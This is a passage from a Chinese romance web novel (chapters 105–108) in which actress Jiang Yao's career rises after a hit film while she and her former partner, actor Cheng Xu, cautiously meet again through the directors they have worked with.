江遥怔怔地盯着聊天框，看着手机屏幕自动熄灭，缓缓地眨了眨眼。记忆里，他也曾小心翼翼，问起她喜欢什么样的婚礼。
是的，那天晚上，她听到了。
这一晚的梦境很混乱，她梦到自己穿着婚纱，站在一个面目模糊的男人旁，对着另一边的程绪喊，别来找我了。
画面一转，程绪翻身将她扑倒，像是啃猪蹄似的，把她从头啃到脚。她奋力推搡，最后又任他施展。醒来时，整个人像是经历了一场大长跑，全身都是水淋淋的。
梦里的动作行为实在太过狂放，以至于江遥再次见到程绪时，忍不住自然而然地发生了联想。
“那我在楼上等你哦。”电话里，小鱼说那边的工作人员提前半小时就到了现场，现在就等她来汇合。虽然并没有迟到，但她实在没有让人等的习惯。她脚步匆匆往前赶，哪想会在这儿碰到他们俩。
她目光悄悄朝一旁的男人身上一瞥，心里忍不住打了个寒颤。
“怎么了？”小鱼见她没应声，忍不住出声询问。
江遥回过神，算了，她最近可不要太忙，吃不消啊吃不消。
笃笃的高跟鞋声远去，清甜的味道还萦绕在空气中。周颂眼观鼻鼻观心，努力忽视那扬长而去的背影，跑这么快，不知道还以为谁追她呢。他极力控制自己不要去看他哥的表情，神色自若地继续邀请，“我保证你一定会耳目一新。”
“好啊。”程绪点头答应。
周颂眼睛瞬间瞪大，一蹦三尺高，“等等，你是答应我了对吧？！”
晚上，众人聚在周颂新开的酒吧，听他得意洋洋说着为盘下它，自己如何三顾茅庐又如何亲自改装。大家极为捧场，一时间“周少青出于蓝”的夸赞吹得周颂颇为飘飘然。
齐淮陪着程绪坐在角落，看他垂着眸，一杯杯给自己倒着酒。有人迟疑着想上前，被朋友一把拉住，“懂不懂眼色。”
酒过三巡，众人醉意朦胧。齐淮看着端庄自持的程绪，端起酒杯在他杯沿轻轻一碰，“今天就到这。”
程绪沉默地睨他一眼，仰头一饮而尽。
周颂笑呵呵地嚷着“不愧是我哥”，齐淮摇头，拍拍他的肩膀说，“走了。”
《春声》路演全面铺开，江遥的消息在网络上逐渐多起来，她辗转于各个城市，在镜头前一遍遍说着感谢。有时很晚回到酒店，会在某人的专属树洞里，收到新的留言。
八月末，江遥带着作品强势回归，走到哪里，都有人谈论她的信息。人人都说，她在电影中的表现，是多么了不得。有人大胆预言，这部电影，说不定会带动一部分类型片，也有人说，明年的颁奖季，江遥已经提早占据一席。
杨越一边窃喜，一边头疼。程绪的脸色看不出别的表情，只是在他一日一日的沉默中，杨越猜测着，他应该是不怎么痛快的。电影拍摄时多么如胶似漆，如今电影上映，江小姐荣光正盛，他却连陪伴都不能。
江遥从宴会脱身，听小鱼在一旁嚷嚷着“这席吃起来真要命”，车上，再次收到程绪的微信。他跟她说恭喜，也跟她说想你。江遥摩挲着屏幕，想起不久前的黑夜里，她和自己做下的约定。
酒吧。经理客气地推开包厢门，笑问：“还是老样子吗？”
男人面色冷峻，步伐如风，沉默着拒绝攀谈的可能。
这是这一周，他第四次见到这位客人。
送朋友下楼的周颂
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，不经意瞥到闪身而入的人影，不由自主跟着往前走了两步，迟疑地出声，“哥？”
前面的人脚步不停，他拍拍自己的额头，念叨着，“还真是喝多了。”这个点他哥怎么会在这儿。
室内光线幽暗，手机的背光，是其中最亮的一抹颜色。屏幕中，女人笑靥如花，笑得灿烂非凡。这是她参加的第十四场路演了。再有半个月，就应该回来了吧。
程绪端起面前的酒喝了口，酒入喉头，并没有什么特别滋味儿。但很奇怪，他却发了疯似的爱上。绷紧的神经被稍稍麻痹后，她才会愿意进入他的梦中和他说说话。
周颂又跟店长了解了下最近情况，拎起外套出门，一时不察，和包厢里出来的人撞了个满怀。
扑鼻的酒气传来，他退后两步，待看清眼前的人，拐了八百个弯的一声“哥”充分表达着他的震惊。
程绪懒得理会他龇牙咧嘴的表情，周颂顾不得多想，一溜烟跟上，“等等我。”
他一路从酒吧跟回家，坐在沙发上念叨，“你去怎么都不跟我说。”
“听他们说，你最近可是我那儿的常客。”
程绪揉着额头，“能不能让我静静。”
周颂乖乖闭了嘴，眼睛又滴溜溜地去看程绪的脸色。
唉。周颂心里轻叹，酒入愁肠，能有什么好结果。
如果说一开始，很多观众都是为江遥的流量和陈清让的口碑买单，《春声》正式上映后，不出三天，自来水的数量已经遥遥甩开粉丝一大截。
江遥作为片中当之无愧的主角，几乎贯穿了整部影片。两个多小时的时长，陈清让本来还担心会有点冗长，但实在是每一个镜头都舍不得删。好在，观众的评价已经足够说明，所有的坚持，都能得到回响。
这天路演后还有一场媒体专访，举着长枪短炮的记者，将主演们团团围住。江遥好不容易从中脱身，又约了X杂志的编辑对谈。这也是早就定下的行程。
编辑是老熟人，两人照例聊了聊电影，最后，又玩了个快问快答的小游戏活跃气氛。
视频上线时，周颂正无聊地躺在沙发上刷着微博。几天下来，江遥的首页，已经成了他的特别关注。程绪的家，也成了他的打卡所。
自从在酒吧逮到程绪后，他每天下班就准时蹲在他办公室门口，他哥走哪他就跟到哪儿，司机的活都被他一手接过。
程绪看着身后的小尾巴，无奈道，“你回去吧，我就在家里待着。”
周颂眉头一挑，“别以为我不知道你家里有酒。”
程绪笑：“你把我当什么了。”
周颂撇嘴，“谁知道呢。”
几天前他忍不住向江遥求助，没想到江遥通过了他的好友，却对他的信息一个字也不回复。果然女人狠心起来，就没男人什么事儿了。他眼神自程绪身上扫过，现在看起来还挺正常的，那天晚上，可是把他吓了一大跳。
程绪无视他的目光，自顾自地忙。他又转回视线，随意刷了刷首页。刚刚还飘满貌美照片的页面，齐刷刷被新出炉的采访占满。周颂怕刺激到某人，调低声音，戴上耳机才敢点进去听。
105. 臭男人
视频本身很长，视频中的女人一颦一笑，灵动娇俏。周颂不得不承认，他哥眼神确实不一般。
前面的内容大多围绕电影在讲，周颂边看评论边听江遥分享着拍摄时鸡飞狗跳的现场。弹幕上，很多倍速看完的粉丝已经开始留言打卡。
「春花宝宝是最好的！」
「姐姐辛苦了！」
「啊啊啊，原来姐姐也喜欢熬夜吗？！」
「遥遥素颜也超绝！」
「什么酒？哈哈哈我姐表示都不想有。」
「老婆，看看我，我滴酒不沾的！」
嗯？周颂眼睛一亮，猛然意识到什么，往后拉了拉进度条。好家伙，原来在这儿等着他呢。
快问快答环节，主持人问题一个个往外抛，比如“早起还是熬夜”、“化妆还是素颜”、“香菜还是芹菜”等等两难关卡，江遥眼也不眨，听完题干就直接给出了回答。
直到，面对“啤酒还是白酒”的选项，江遥明显一顿，皱皱鼻子和主持人打商量，“可以都不要么？”
主持人笑：“听说你滴酒不沾的？”
江遥比着手指，“一点点还行，喝多了味儿太冲。”
评论区的粉丝也颇为配合，「就是就是，姐姐才不喜欢臭男人呢。」
“噗哈哈哈哈。”这还呼应上了。周颂忍不住想捶床，触到手下的沙发，才反应过来现在不在自己的地盘。他故作严肃地咳了咳，觑了眼对面面无表情的男人，程绪端着脸色，一点眼风都没有给他。
山不就我我来就山，周颂反手丢了个链接过去，摆在桌面的手机“嗡”一声响，程绪抬头，就看到他挤眉弄眼造作的表情。周颂晃了晃手机，眨眨眼睛，“点开听听？”
这天收工已近凌晨，小鱼眼睛还亮得犹如探照灯，快乐的忙碌，让人永远充满激情。她翻着明天的行程，殷殷提醒，“早点睡，我们明天出门可以晚一点，抓紧时间补个眠。”
江遥确有此意，奈何洗漱完躺到床上，就看到树洞里又多了条留言：我也只喝一点点。
骗谁呢。江遥心说。
其实，她没见过他喝多。周颂那张明显是偷拍的角度，他靠着椅背，不舒服地蹙着眉头。车内的光线有点暗，显得他的脸色越发阴郁。
周颂说，我都要不认识我哥了。
江遥知道他没说完的话是：别让他这副样子。
他应当永远骄傲、闪亮。
心中滞涩，她望着虚空一角，情绪莫名低落了下去。
轻轻一声震动，又有新的信息提醒。
江遥点开，聊天列表里，程绪发了条新信息：遥遥，我不臭的。
什么跟什么。刚聚起的情绪一扫而空，江遥直接关了手机，蒙头睡了过去。
她是在九月中回到A城的。短时间辗转多地，又没足够的休息，回到公寓的第二天，早晨起来就觉得嗓子有点不太舒服。小鱼已经对她的身体状况非常熟悉，通常这样就是感冒的前兆，劝她道，“我们先去医院看看，今天的采访要不挪到明天吧。”
江遥倒了杯热水灌了下去，干痒的喉咙舒适了些许，“已经答应了的就不要往后拖了，我这一变他们很多计划都得重新做。”
小鱼见她气色还行，便也没有坚持，谁知工作结束后，原本轻微的不适，已经发展到讲话都困难的地步。司机直接将他们从工作现场载去了医院，没想到，回来的路上，江遥生病就上了当天的头条。
没办法，她最近热度实在是太高了。有网友说，别的流量都是忽地一下达到顶峰，接着人气逐步下滑，很少有像江遥这样，爆了一下又一下，仿佛没有尽头般。
担心半夜出状况，小鱼直接留宿在了客房。
江遥吃了药早早躺下，后半夜，到底还是烧起来了。她意识昏昏沉沉，似乎能听到自己急促的喘息声，每一次呼吸里，都带着灼烧的痛意。
“小鱼……”她撑着力气，摸索着找到手机，去拨小鱼的电话。许是知道她睡不安稳，电话很快接通，她努力张着嘴唇，却怎么也发不出声音。
半梦半醒间，一双有力的手从背后将她托起，有人坐在床边，一遍遍将湿毛巾覆上她的额头。冰凉的手包裹着她，江遥忍不住倾身去贴那手掌。身上的燥意一点点得到释放，她又挣扎着想逃。
她不知道，小鱼何时有了这样的力道，收拢的手掌紧紧握着她，似乎有说不完的话。她想去听，意识又开始混沌。
身上发了一层层的汗，全身都腻得慌，折腾到快天亮，终于安稳地睡了一觉。
醒来时，小鱼已经不在身旁，江遥在家中绕了一圈，小鱼不知何时已经离开，只在清早给她发了条微信留言：「我给导演请过假了，你先安心休养几天。」
湿透的睡衣已经洗好高高挂在阳台上晃荡，保温盒里放着温好的粥。江遥从厨房拿了副碗筷，小口小口地喝完了。
电影还在火热上映中，江遥躺了两天又开始继续跑行程。好在身体在短暂罢工后很快回复了精神，江遥又磨着Susie给她接了个剧本。
是一部十来集的短剧，忙完这边的事情，一周后正好无缝进组。
Susie见她神采奕奕，还是有点放不下心，“不多休息几天吗？”
江遥说，“这不是闲不下来嘛，再说这剧也拍不了多久。”
在观众们一次次为春花的经历捶胸顿足时，江遥又收拾收拾，踏上了新的一段人生之旅。她也是后来才听说，《春声》已经接连破了多项文艺片的历史纪录。
等她从组里再出来，汪静静也已经杀青了，两人一见面，她就做出一副拜服的表情，“姐妹，牛逼大发了。”
江遥甩了她一个白眼，“正经点。”
黄金周后，大众的旅游热情开始回落。她和汪静静约了个短途游。从学生时期开始，两人就做了许多计划，实际上，真正出游的时候不多。汪静静受宠若惊，“这是我们第几次一起出门？”江遥想了想，
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无果。
对这次难得的同行，两人都很兴奋，照片咔擦咔擦拍个不停，江遥选了几组丢在了朋友圈，周颂评论很快，“超美的。”汪静静刚好也加了他的微信，看到立马问，“说人还是景？”
周颂求生意识很强，秒回“all”，又建议说“附近有个看日出的地方还不错”，江遥表示，“时间不够，下次再说。”
周颂说完自己反倒惦记上了，他的行动力很迅速，仅仅两天后，江遥就在朋友圈刷到了他晒的海边日出。她的树洞里，某人也给她分享了一组图片，暖黄的色调铺满整个天幕，他在日出下发出邀约。
江遥随手存了照片，给周颂朋友圈点了个赞，还是没有回复他的留言。她和汪静静并排躺在床上，天南海北地闲谈，享受这难得的姐妹时光。
“遥遥，你是不是想好了？”汪静静敏锐地发觉出她的情绪变化。
江遥没有瞒她，翻身滚进她怀里，抱着她轻喃，“静静，有些路只有试过才清楚。”
《春声》上映月余，票房已经突破15亿大关，江遥的口碑彻底打响。有人说她是借了陈清让的光，又有人拉出她之前的作品厉声质问，那这些呢，是不是也都只能归功于导演？
不管如何，经此一役，江遥彻底摆脱花瓶的称号，在自己的影视道路上突飞猛进。
江遥也不曾想到，短短两年，世事会有如此大的跃迁。年少时梦寐以求的团队主动发出邀请，曾需仰望的一切，排着队等她来筛选。遥远的梦想，似乎正变得触手可及。
短剧杀青后，江遥的下一个组成了无数人翘首期盼的香饽饽。营销号全在争夺第一手消息，从新的互关好友，线下见面的朋友为圆心，随时随地，都能现编出无数个版本。
但事情的走向，彻底出乎众人的预料。几天后，江遥工作室对外放出消息，新的剧本已经在接触，顺利的话下月即将开机进组。
媒体被这消息打懵了。哪来的保密项目，怎么一点风声都没有听说？
江遥已经无暇去管他们的反应，咖啡厅中，她看着对面急忙起身的男人，伸手笑道，“卢导，又见面了。”
卢亮还是记忆中的模样，戴着一副黑框眼镜，沉默着不怎么吭声，仿佛之前主动联系她问是否有意向的并不是他本人。可当剧本一摊开，他又开始滔滔不绝，讲起自己对这个故事的期待。江遥忍不住勾勾唇角，这味儿就对了。
时间仿佛是个轮回，有些东西还是固执地维持着原貌，事实上，大家都无不避免地在持续往前。
卢亮这次的剧本，主要集中在江遥饰演的角色，其他配角，他也一个个精挑细选，确保不会再次掉进同一个坑中。江遥阖上剧本，愉快地落下了自己的签名。
十一月初，各项工作已经准备齐全，小鱼带着行李，直接飞往宛城。
两人在保姆车上道别，她迟疑了一瞬，嘱咐江遥，“你一个人小心。”江遥点头答应。正式进组前，她预留了几天私人行程。
106. 习惯
小鱼不知道江遥会去哪里，但两天后，微博上铺天盖地都是江遥的消息。她扎着马尾，现身某著名影视城，甚至和不少路过的素人朋友合影。
营销号纷纷猜测，江遥的下一个组就在这影视基地拍摄，很快，又被本人打脸了。
江遥直接在微博晒了在影视城的自拍，并配文说：梦开始的地方。
评论区有粉丝高赞留言，姐姐等等，我现在买票来得及吗？
江遥回复说，明天就飞宛城啦。
被翻牌的粉丝激动得语无伦次，其他老粉也感慨说，感觉多年前的姐姐又回来了。
第二天，程绪姗姗来迟的一个点赞，又直接干爆了热搜。
有不怕事儿的粉丝留言挑衅说：「你也觉得很赞吧？嘿嘿，是我老婆。」
“发什么愣呢？”背上轻轻挨了一巴掌，小鱼回过神来，看着明显情绪不错的江遥，不知该怎么描述这种变化。
江遥逆着光，唇角轻扬，眼神清亮，如久未现世的珠宝，没有光源照耀，也兀自闪着耀目的光芒。
有人说，这是红气养人，现在的江遥在娱乐圈风头无俩。或许有一部分吧，但不完全是这样的。
她还记得，刚去到江遥身边的时候，她笑意后无声的沉默。那天晚上，她听她发着高热，拉着程绪的手，喃喃着那些同伴的远走、过往的无助。也许，从始至终，她只想有人坚定地站在她背后。
江遥新剧开机的一周后，陈清让在家里等来了一个稀客。
自从上了年纪，天冷的时候，他就被勒令回了宛城。这里的冬天温暖如春，很适合休整。
程绪提着东西上门，陈清让乐呵呵地来迎，“这是想好了？电话跟我说一声就是了嘛，还特意跑一趟干什么。”
程绪说：“刚好有事来这边。”
陈清让一听有戏，脸上的红光掩都掩不住，忙招呼着家人备菜热酒。
程绪连忙阻止，“您别忙了，我就坐坐，见面的机会还多。”
送走程绪，陈清让犹自亢奋不已，不管合作的机会有没有，能偶尔见见也是好的，家里清净是清净，偶尔还是需要人说说话的。小孙子陈陈见他找不着北的样儿，凉凉道，“顺便罢了。”
陈清让抬手指了指他，甩袖回了房。
“哇，程老师也在宛城。”
“来看陈导的吧，不是有消息说他们有合作嘛。”
“人都定了吗？档期合适的话我也想报名看看。”
江遥卸妆出来，就见众人七嘴八舌聚在一起聊得正欢，有人看到她，眼前突然一亮，扯了把说想报名那人衣角，提醒他，“找遥遥问问啊。”
众人被他一点拨，对哦，陈导的上任女主就在这儿呢。
江遥听了个尾音，一脸莫名，“什么？”
“咳咳咳。”刚说话那人突然反应过来，摆着手正想说没什么，有嘴快的已经接上了，“我们正聊陈导新电影缺不缺人呢，机会难得，这不想找你帮忙打听打听。”
话落，众人心思微动，不料江遥爽快答应，“行，我记下了，有机会我帮大家问问。”
一时间，江遥被夸赞声包围。
“遥遥最好了。”
“谢谢遥遥。”
众人目送着江遥远去，又火急火燎地讨论开了。
“要死啊，当着人家面瞎说什么，也不看看网传的男主是谁么。”
嘴快那人低着头，“我这不是一时没想到那茬来么，应该没事吧。”
“算了算了，说都说了，程老师前不久不还给遥遥点赞了，说不定分手后也还是朋友。”
“嘘，你们小声点吧，我求求了。”
背后叽叽喳喳的声响，时不时飘进江遥的耳朵，她嘴角笑意不落，到了宛城，好像是该去见见陈导的。
但实在是太忙了。
等她抽出空来，时间已经到了月末。
下部戏的消息放出后，短短半个月里，通过各种渠道来打听的人已有无数，陈清让每天和人打着太极，悠闲的日子也被玩出了花儿。
江遥来时，陈清让正蹲在院子里修剪着花枝，一个男孩在一旁打着下手，见她过来，乖巧地扑上来叫了声“姐姐”，看到身后的男人，又迟疑着喊，“叔叔好。”江遥憋着笑，带着卢亮跟陈导问好。
陈陈被江遥笑了个大红脸，匆匆丢下一句“我去写作业”就跑了。陈清让放下手头的工具，摘了手套，乐呵呵道，“最近这是刮的什么风呀，把你们都给吹来了。”
卢亮跟在一旁，听江遥笑着答，“这不是怕您以后怪我，在宛城待这么久都不上门坐坐嘛。”
陈清让自然是知道江遥行踪的，一个名不见经传的导演，能拐得她毫无怨言地陪着拍第二部戏，想必也不是毫无可取之处。心内的想法不由在脸上带出来些许，卢亮敏锐察觉到陈导的打量，捧着杯子猛灌了一口水，又埋头坐在一边。
江遥也没管他，和陈清让闲聊了几句，话题不知怎的就转到了他待开的电影上。陈清让眯着眼睛似笑非笑，“怎么样，还有兴趣来一部吗？”
江遥：“您还给我留着位置呢，不是说主要人选都定得差不多了？”
陈清让摇头轻叹，“难啊。”
这样的大佬，还有什么人选拿不下，话题点到即止，江遥也识趣地没再刨根究底，只顺带了解了下拍摄周期。陈清让说了个时间，她在心里盘了盘，不无遗憾地道：“档期冲突了。”顿了顿又想起同事们的嘱咐，“如果还有合适的角色，我给朋友先在您这挂个号。”
当红炸子鸡，说不定明年的档期都已被订满了，陈清让倒也不强求，转而聊起她现在的工作。说到这，卢亮也终于按捺不住，一肚子的话迫不及待倾吐而出，几人这一聊，就直接聊到了太阳将落。
啪嗒啪嗒的脚步声传来，江遥看了眼天色，惊觉一下午就这么过去了，她正准备起身告辞，陈陈蹦跶着跑进门，扒着门框叫他们，“吃饭啦。”
这下，走也不好留也尴尬，陈清让还在一旁故意板着脸道，“这是嫌我招待不周啊。”好吧，这下是彻底走不了了。
其实哪会不周呢，明明只有几个人，桌上的菜肴却翻出了花儿。江遥再三道谢，跟着陈清让在餐桌边落座，卢亮一脱离对话环境，又闷头坐在一
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旁开始沉默，江遥和陈清让对视一眼，嘴角掀起明显的笑弧。
“不好意思，我来晚了。”她笑意未落，就听到有人疾步踏入房间，正往这儿走。顺着声音望去，江遥脸上的笑微微滞住。
陈陈闻声猛地一下跳起来，兴奋里掺杂着抱怨，“哥哥，你怎么才来，阿姨还特意煮了你爱吃的菜呢。”
江遥被他这一嗓子一嚎，出走的灵魂微微收回，在眼神即将对上的前一秒，挪开了目光。
伴随着椅子拉开的声响，她听到陈清让熟悉地和来人寒暄，“路上堵车了吧？我都说你忙你的。”
对方不紧不慢地答：“是有点，答应您的怎么能失约。”
从容的音调，礼貌里掺杂着融融暖意，怪不得说，陈清让喜欢他呢。
她又听卢亮磕磕绊绊地跟对方问好，虽然一句话分了两次才说完，不过比起之前还是长进了不少。不过到底还是名利场子混得少，人家不过客气两句，他就恨不得把老底都交光，“您有空的话可以来探班，剧组离这儿不远的。”
话赶话说到这儿，卢亮差点咬到自己的舌头，摸着鼻子正想找补，就听对面的人笑了笑，“好，我回头看看。”
这一听就是婉拒，卢亮偷偷松了口气，小心翼翼地去瞥江遥的脸色，还好，她脸上始终笑意不落。
空气静默了几秒，众人的目光，无声地投到她脸上。江遥知道，该轮到她了。
她将视线微微往上抬了抬，对面的眼睛正好看过来，他微微扬着唇角跟她问好，“好久不见了。”
江遥于是也跟着笑道，“程老师好。”
陈清让见状，也终于将心放下。虽然圈内分开的男女他已见过不少，但前人的经验未必能往他们身上套，幸运的是，两人都知道怎样才是正确的处理办法。
后来，多是陈清让在说，程绪在一旁陪着偶尔接上几句，卢亮刚刚说错话，此刻恨不得将自己的存在感彻底抹掉，江遥乐得清闲，和陈陈一起，埋头解决碗中的食物。
突然，一只手伸到了眼前，干净的指尖捏着剥了壳的虾，径自放入她的餐盘。
他的动作太过理所当然，江遥捧着碗，愣愣地看着他，忘了动作。
四目相对，她漆黑的眼里带着明显的惊愕，仿佛看着一个突如其来的闯入者，程绪被她这么一望，终于反应过来自己干了什么，指尖慢慢收拢，捏进掌心，垂眸轻道，“抱歉。”
即使分开，有些习惯也难改。“没事。”江遥抢着接过话头，“挺好吃的。”说着她顺手给陈陈碗里也夹了一只虾，笑着问道，“是吧？”陈陈被漂亮姐姐的笑容迷惑，跟着猛点头。
餐桌上的小插曲很快过去，凝滞的空气重新流动，江遥心不在焉，努力想去听清他们在一旁说什么，话从耳边流过，一丝也没往心里去。
直到陈清让随口问了句：“明天几点走？”
原来，是最后的晚餐了。看来他们今天来得并不是时候。江遥心说。
后半程，她大部分时间都安静地坐着，程绪视线微微偏移，就能看到她乌黑的发顶、低垂的头。碗中那只虾，她始终没有动过。
107. 复合
昨天晚上没怎么睡好，第二天江遥直接睡到了闹钟响。进组后作息比跑行程时规律许多，基本上她都是自然醒的。她闭着眼睛摸到响个不停的手机，按掉，又缩进被子里，窝了十分钟。
到片场的时候稍微有点晚了，导演卢亮见她出现，扶了扶镜框，快步走到她身旁，似乎是有什么话要讲。江遥抿唇，歉意一笑。
“没事啦，还没到点呢，是你平常来太早了。”女二刚好化完妆过来，挽着她的手臂笑道，又瞧了瞧卢亮，“导演似乎也没怎么睡好呀，不赶时间就晚来点嘛。”
天知道，一个剧组有个爱早到的女主就算了，导演竟然也是起得比鸡早的，吓得她都不敢睡懒觉了。
江遥闻言朝卢亮一瞥，黑框眼镜架在他脸上，看起来感觉是比平日蔫巴。她瞬间就平衡了，扯着嘴角对他笑了笑，直笑得卢亮不好意思地低下头，任他们二人调侃。
这么插科打诨了几句，一天紧张的工作又开始了。
卢亮一进入身份，就脱离了平日里看着人畜无害的样，刚还笑着打趣他的女二被反虐了一把，吓得什么话都不敢讲。江遥倒已习惯他这切换自如的状态，暗自打起精神，去捕捉角色的感情。
今天的进度稍微有点慢了，十二点半，还有一条没拍完。小鱼本来举着相机在一旁录制花絮，这会儿有点扛不住了，干脆在远处找了个地方坐着等他们，顺便检查下拍下的内容。
身后突然传来动静，她回头去看，就见到一张熟悉的脸，在视线里越走越近。这人，怎么会出现在这儿？
老王也没管她呆愣的反应，点头笑了笑，小鱼心中那不妙的预感瞬间直冲天际，连忙起身，走到车前，看清微微放下的车窗中那端坐的身影。她舌头突然打了结一般，“程老师？您怎么来了？”明明是惊诧的话语，被她用气声说出来，偷摸的意思很明显，程绪不免觉得好笑，眺望着片场一角，答道，“导演邀请我来的。”
“哦。”小鱼闻言，不知松了一口气，还是更惊愕了，点点头，又说了个“哦。”趁其他人还没注意到这边，悄悄走远了。
卢亮得到消息，拍完一条，匆忙喊了收工。江遥和女二对视一眼，耸耸肩，“走吧，吃饭去。”下午还有戏，得攒着点力气。
二人还没走近，就听到远处此起彼伏的尖叫声，再走几步，又有高高低低的“程老师”响个不停。江遥头皮一紧，感受到了旁边人悄然瞥向自己的眼神。
待到近处一看，卢亮身边站着个高大的男人，笔挺的身形，处在一众演员之间，还是显得鹤立鸡群。实在是太突兀了，江遥想装作没看到都不可能。
迎着众人的视线，她若无其事地走上前，跟着众人的口径问候，“程老师。”
程绪轻点头，“江老师辛苦了。”冷淡得和传说中如出一辙。
众人不免唏嘘，圈内的情侣果然走不到最后，再次相逢，也不过是熟悉的陌生人。瞧瞧这表情，和前阵子曝光的照片相比，简直一个天一个地。听副导演说，程老师是导演特意去陈导家邀请来的，估计是介于陈导的面子不好推脱，不过他们倒是跟着饱了眼福。
哦对，还有口福。程老师包下了附近最热门的酒楼，今晚请客！
人一多卢亮就有点发懵，还好副导演控场能力不错，几句话就疏散了人群，江遥也径直上了保姆车，没有多留。
车门一关，小鱼终于松了口气，趴在车窗上看了会儿，又坐到江遥身旁，直勾勾地望着她：“他怎么来了？”说什么碍于陈导的面子，她可是不信的。
江遥看她虎视眈眈的视线，笑道，“你问我我问谁啊。”明明昨晚不是还说赶飞机的吗，她是真不知道。
不过这会儿，她倒是突然懂了清早卢亮那欲言又止的表情，敢情两人早已说定。
收工后，卢亮忙不迭认错，“我也不知道他来真的啊。”天知道大中午对着那张冷脸，他也是吓得不轻。
江遥凉凉道：“他不是今天走吗，怎么又改主意了？”
卢亮奇怪地看她一眼：“他说的是晚上走啊，我们这又不远，完全来得及。”
这样子啊。看来是她听漏了。江遥也没再追究，卢亮举着手保证，下次一定提前跟她说。
江遥眉头一挑，这是还想有下次？
卢亮疯狂挠头，犹豫许久，不知程绪走前那句“下次见”到底该如何正确解读。按理来说他们也不算相熟，除了江遥，彼此还有什么见面的必要？不过这会儿顶着江遥望来的眼神，他到底没有选择和盘托出。
到了酒楼，大家才知道程绪已经走了，心下难免失望，但一听副导演说，想吃什么随便点的时候，满屋子又瞬间被“哇哦”声填满了。程绪到底太过遥不可及，饱腹的食物，才能带来踏实的快乐。
江遥坐在热闹的餐馆，听着耳畔众人的笑闹，手机震了一下，她似有所感，在桌下悄悄点开，看到消息列表里新的留言，那个刚才还牵动着众人情绪的人，在同她道别，我走了。
江遥熄了屏幕，接过旁人递来的菜单，把想吃的都勾了个遍。
程绪来探班的消息不知怎么透了出去，小鱼心事重重地坐在江遥面前，苦恼道：“外面都传遍了。”
“哦？怎么说的？”
小鱼见她有兴趣打听，一股脑把知道的消息都倒给她，“还能怎么说，就猜你们是不是复合了。我看新闻上还写着，给Susie姐打电话了呢。”
江遥倒不担心Susie那边，顺口接了句，“然后呢？”
小鱼怕自己传达有误，找了条新闻，直接念给江遥听，“记者联系双方工作人员，程绪方暂无回应，江遥工作室称只是普通朋友，请以官方信息为准。”
江遥“哦”了声权当回应，小鱼也不管她，又说，“最初发的就是剧组的人，评论区还说既然能发出来肯定是没问题才发的，依我说卢导这剧组还是有点太不靠谱了。”
本来上次合作闹得那样收场，这第二次合作她就有点不得劲，但既然江遥中意，她也没什么好说的余地，只是话赶话说到这儿，她又忍不住唾弃了两口这草台班子。
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卢亮要是知道背后被人这样吐槽，指不定昨晚就不头脑发热了！副导演半夜三更来敲他的门，举着手机问他怎么处理的时候，不知怎地，他就想起了那两人视线交汇时的表情，可能是晚上喝了酒，他整个人有点上头，于是只说，“发了再删，倒有点反应过度，提醒一下，让他们臆测的话不要随意说。”
那个时刻，强烈的第六感告诉他，说不定有人其实并不想隐瞒呢。第二天，新闻直接上了头条，工作室辟谣的消息也跟着蹿上热搜，他冷静下来，才开始担心江遥要是一怒之下撂挑子了这剧组可怎么是好。
一上午过去，江遥倒也没有别的反应，只是站在片场，他到底有点心虚气短，暗暗发誓，下次绝对不掺和这些小情侣之间的事。哦不对，前情侣。
网友们也是奇怪，知道他们在一起时，祝福里未必掺杂着全然的真心，但听到疑似内部人员说他们压根没什么交集，看起来比陌生人还冷冰冰时，反倒有人真情实感地可惜上了。
「怎么可能，他跑那么远就为卖那导演面子，卢亮别往自己脸上贴金了。」
「谢谢楼上提醒，不说我都压根记不住他叫什么，绝对是去探班江遥的！」
「猫腻，绝对有猫腻！我小板凳就放这儿了，坐等复合。」
「小情侣之间的情趣，你们不懂的。」
晚上，江遥洗漱完出来，见小鱼还坐在她房中魂不守舍，上前搂着她轻哄道：“好了好了，管他们怎么说，你看我这不是好好的。”剧组人那么多，导演也难免管束不到的，那人除了说一句某影帝请大家吃饭了，其实也并没有发散太多。
小鱼抬眸看向她，两手无意识翻搅着，闷闷问道：“姐，你们还会复合吗？”
其实刚知道他们分手时，她是想过这种可能的。可几个月过去，两人的交集越来越少，江遥的状态越来越好，她突然就有点不确定了。可是，她以为的真的是她姐想要的吗？她还记得，在分手消息曝光之前，江遥一个人默默将消息瞒了下来，她后来看到网上的新闻，才关联上那段时间，她莫名消瘦的身形。
会复合吗？尽管许多人在背后说，但还是第一次有人当着她的面将这句话问出。在事业上和感情上，她享有完全的自由决策，即使是乔女士，也只在电话里旁敲侧击过，见她状态还行，就没再深究。
小鱼是一个藏不住话的人，几个月下来，要好奇早该好奇了。江遥看着她脸上欲言又止的表情，不动声色地反问：“怎么了？”
小鱼见她避而不谈，仿佛终于下定决心般，撂下一句“等我一下”就匆匆跑走了。脚步声远去，江遥一脸莫名。
不一会儿，小鱼又重新推开了她的房门，手上拎了个纸袋，递给江遥说，“程老师的司机昨天给我的，你自己看着处理吧。”
昨晚聚餐后，看着角落里的袋子，她其实偷偷打开过。里面放着一些零食、常见的感冒药品，还有，一个牛皮信封。
封口是打开的，她只上手摸了摸，很薄。不知里头是信纸，还是什么。
108. 靠近
小鱼已经离开了。
薄薄的信封捏在手里，江遥抖了抖，一张照片从信封中滑落。背面朝上，看不出画面内容是什么。但很奇怪，她似乎已经知道了。
照片应是被人保存得很好，只有边缘微微泛黄，空白的背面，用黑笔写着：遥遥，让我们重新来过。苍劲的字迹，可以想见，主人写下这话时，用了多大的力气。
江遥望着这行小字，眼前悄然浮现那个炎热的盛夏，晒得黑黑的女孩不知天高地厚般，和眼前的少年言说着关于梦想与自我的未来图景，那段年少的出逃，激励着她一步步触摸自己的理想，却不知无意识的话语，也暗中改变了他人行进的方向。
可为什么要重来呢？明明走过的每一步，他们都花费了无数力气。
她在心里摇头，不，我等不了那么久。
宛城温暖如春，外面的世界却早已雪花纷飞。江遥在朋友圈刷到满屏的雪景，恍然发觉，即将迎来新的一年。
在元旦放假前，有媒体前来探班，江遥应邀在休息时间做了一场线上直播。粉丝许久没见她公开露面，疯狂刷着弹幕，直播间蹲守的人差点把网络弄瘫了，整个画面都是卡卡的，过了许久才恢复。
最后几分钟，主持人干脆当成福利时间，留给江遥和粉丝直接互动。江遥看着屏幕上滚动的弹幕，挑了几个来回复。
“元旦是否放假？”江遥笑说，“导演也想休息了。”
“怎么安排啊？暂时还没想好，等我下播后再想想。”
网上的信息传播很快，晚上，她就收到了汪静静的微信：「回来否，我元旦空着。」
